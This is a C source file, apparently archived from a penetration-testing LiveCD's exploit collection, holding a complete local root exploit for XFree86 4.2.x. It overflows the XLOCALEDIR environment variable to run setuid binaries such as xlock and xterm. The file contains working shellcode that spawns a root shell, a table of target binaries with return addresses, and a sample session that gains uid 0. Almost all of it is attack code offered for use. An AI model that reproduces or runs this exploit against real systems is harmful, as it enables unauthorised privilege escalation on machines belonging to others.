home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / oC-localX.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  210 lines

  1. /**** 
  2. ***
  3. ** oC-localX.c - XFree86 Version 4.2.x local root exploit
  4. ** By dcryptr && tarranta / oC
  5. ***  
  6. ** Tested against: Slackware 8.1
  7. ***
  8. ** This bug was found by tarranta and dcryptr 3 january 2003.
  9. ** Its a strcpy in the xf86 libraries that we exploit, using
  10. ** the bug to get the root privileges. If you put to much data
  11. ** in the XLOCALEDIR environment variable all programs using this
  12. ** library will cause a segmnetation fault. Some wierd reason makes 
  13. ** the program not execute the first 8 bytes of the shellcode.
  14. ***
  15. ** Demonstration - here we use xlock as the target
  16. ** ----------------------------------------------
  17. **  martin@gDeU56:~$ ls -l /usr/X11R6/bin/xlock
  18. **  -rws--x--x    1 root     bin       2193628 May 30  2002 /usr/X11R6/bin/xlock
  19. **  export XLOCALEDIR=`perl -e 'print "A" x 6000'`
  20. **  martin@gDeU56:~$ xlock
  21. **  Segmentation fault
  22. **  eip      0x41414141       0x41414141
  23. **
  24. **  Exploitation:
  25. **   martin@gDeU56:~$ ./oC-XFree86-4.2.0 -t 2
  26. **   --- XFree86 Version 4.2.0 / X Window System - local root exploit ---
  27. **   [+] by: dcryptr && tarranta
  28. **   [+] oC-2003 - http://crionized.net/
  29. **   [+] attacking: /usr/X11R6/bin/xlock
  30. **   [+] using ret: 0xbfffe86d
  31. **   [+] spawning root shell!!!!
  32. **   sh-2.05a# id;uname -a
  33. **   uid=0(root) gid=0(root) groups=100(users)
  34. **   Linux gDeU56 2.4.18 #4 Fri May 31 01:25:31 PDT 2002 i686 unknown
  35. ***
  36. ** Remember that there is more than one suid file using this lib.
  37. ** /usr/X11R6/bin/xterm
  38. ** /usr/X11R6/bin/xscreensaver
  39. *** 
  40. ** This may be vulnerable in other distros!!!
  41. ** We are currently making out new targets. look on our page 
  42. ** for the newest version!
  43. ***
  44. ** (C) COPYRIGHT oC 2003
  45. ** All Rights Reserved
  46. *******************************************************************************************************
  47. ** GREETS: dgram, lonely_, upstream, evilrip
  48. ***
  49. ****/
  50.  
  51. #define _GNU_SOURCE
  52.  
  53. #include <stdio.h>
  54. #include <stdlib.h>
  55. #include <string.h>
  56. #include <unistd.h>
  57. #include <getopt.h>
  58. #include <sys/errno.h>
  59.  
  60. #define VERSION "0.9"
  61.  
  62. /* 57 bytes shellcode by dcryptr */
  63. static char shellcode[] = 
  64.     /* setuid(0); (ignored) */
  65.     "\x31\xdb"                /* xor %ebx,%ebx */
  66.     "\x89\xd8"                /* mov %ebx,%eax */
  67.     "\xb0\x17"                /* mov $0x17,%al */
  68.     "\xcd\x80"                /* int $0x80     */
  69.     
  70.     /* setuid(0); */
  71.     "\x31\xdb"                /* xor %ebx,%ebx */
  72.     "\x89\xd8"                /* mov %ebx,%eax */
  73.     "\xb0\x17"                /* mov $0x17,%al */
  74.     "\xcd\x80"                /* int $0x80     */
  75.     
  76.     /* setgid(0); */
  77.     "\x31\xdb"                /* xor %ebx,%ebx */
  78.     "\x89\xd8"                /* mov %ebx,%eax */
  79.     "\xb0\x2e"                /* mov $0x2e,%al */
  80.     "\xcd\x80"                /* int $0x80     */
  81.     
  82.     /* /bin/sh execve(); */
  83.     "\x31\xc0"                /* xor  %eax,%eax   */
  84.     "\x50"                    /* push %eax        */
  85.     "\x68\x2f\x2f\x73\x68"            /* push $0x68732f2f */
  86.     "\x68\x2f\x62\x69\x6e"            /* push $0x6e69622f */
  87.     "\x89\xe3"                /* mov  %esp,%ebx   */
  88.     "\x50"                    /* push %eax        */
  89.     "\x53"                    /* push %ebx        */
  90.     "\x89\xe1"                /* mov  %esp,%ecx   */
  91.     "\x31\xd2"                /* xor  %edx,%edx   */
  92.     "\xb0\x0b"                /* mov  $0xb,%al    */
  93.     "\xcd\x80"                /* int  $0x80       */
  94.     
  95.     /* exit(0); */
  96.     "\x31\xdb"                /* xor %ebx,%ebx */
  97.     "\x89\xd8"                /* mov %ebx,%eax */
  98.     "\xb0\x01"                /* mov $0x01,%al */
  99.     "\xcd\x80";                /* int $0x80     */
  100.  
  101. struct target {
  102.     int         index;
  103.     char         *distro;
  104.     char         *dest;
  105.     char         *name;
  106.     u_long        retaddr;
  107.     int            LEN;
  108. };
  109.  
  110. /* 
  111.  * There is like 200+ binaries that segfaults to this 
  112.  * vuln but they are not suids. this is all the suids
  113.  * I found. Soundtracker is a music tracker that I am 
  114.  * using and its vuln to.
  115.  */
  116. struct target exploit[] = { 
  117.     { 1, "Slackware 8.1 -", "/usr/X11R6/bin/xterm", 
  118.         "xterm", 0xbfffe86d, 6000 },
  119.     
  120.     { 2, "Slackware 8.1 -", "/usr/X11R6/bin/xlock", 
  121.         "xlock", 0xbfffe86d, 6000 }, 
  122.     
  123.     { 3, "Slackware 8.1 -", "/usr/X11R6/bin/xscreensaver", 
  124.         "xscreensaver", 0xbfffe86e, 6000 },
  125.         
  126.     { 0, NULL, NULL, NULL, 0, 0 }
  127. };
  128.  
  129. void usage(char *cmd);
  130.  
  131. int main(int argc, char **argv)
  132. {
  133.     int     i;
  134.     int     type;
  135.     int        size;
  136.     int     options;
  137.     long     retaddr;
  138.     char     buffer[6000];
  139.  
  140.     if(argc == 1) {
  141.         usage(argv[0]);
  142.         exit(0);
  143.     }
  144.  
  145.     /* options of this exploit */
  146.     while((options = getopt(argc, argv, "ht:")) != EOF) {
  147.         switch(options) {
  148.             case 'h': 
  149.                 usage(argv[0]);
  150.                 exit(0);
  151.             case 't': 
  152.                 type = atoi(optarg);
  153.             
  154.                 if (type > 3 || type < 0) {
  155.                     printf("Out of range!!\n");
  156.                     exit(0);
  157.                 }
  158.             
  159.                 if (type == 0) {
  160.                     usage(argv[0]);
  161.                     printf("num . description\n"
  162.                     "----+----------------------------------------\n");            
  163.                     for (i = 0; exploit[i].dest; i++)
  164.                         fprintf(stderr, "[%d] | %s %s\n", exploit[i].index, exploit[i].distro, exploit[i].dest);
  165.                     
  166.                     exit(1);
  167.                 }            
  168.                 break;    
  169.             default:
  170.                 usage(argv[0]);
  171.                 exit(0);
  172.         }
  173.     }    
  174.  
  175.     size    = exploit[type-1].LEN;
  176.     retaddr = exploit[type-1].retaddr;
  177.  
  178.     fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n"
  179.                     "[+] by: dcryptr && tarranta\n"
  180.                     "[+] oC-2003 - http://crionized.net/\n"
  181.                     "[+] attacking: %s\n"
  182.                     "[+] using ret: 0x%8lx\n"
  183.                     "[+] spawning shell!!!!\n", exploit[type-1].dest, retaddr);
  184.  
  185.     for (i = 0; i < size; i += 4)
  186.         *(long *)&buffer[i] = retaddr;
  187.     
  188.     memcpy(buffer + 1, shellcode, strlen(shellcode));
  189.  
  190.     setenv("XLOCALEDIR", buffer, 1);    /* seting env variable */
  191.  
  192.     if ( (execl(exploit[type-1].dest, exploit[type-1].name, NULL)) == -1) {
  193.         fprintf(stderr, "Try another target, you scriptkid!\n\n");
  194.         exit(-1);
  195.     }
  196.  
  197.     return(0);
  198. }
  199.  
  200. void usage(char *cmd)
  201. {
  202.     fprintf(stderr, "\n--- oC-localX "VERSION" - XFree86 Version 4.2.0 local root exploit ---\n"
  203.                     "by dcryptr && tarranta\n"
  204.                     "oC-2003 - http://crionized.net/\n\n"
  205.                     "usage: %s [-h] [-t <num>]\n"
  206.                     "__options\n"
  207.                     " -h\t- this help\n"
  208.                     " -t num\t- choose target (0 for list)\n\n", cmd);
  209. }                    
  210.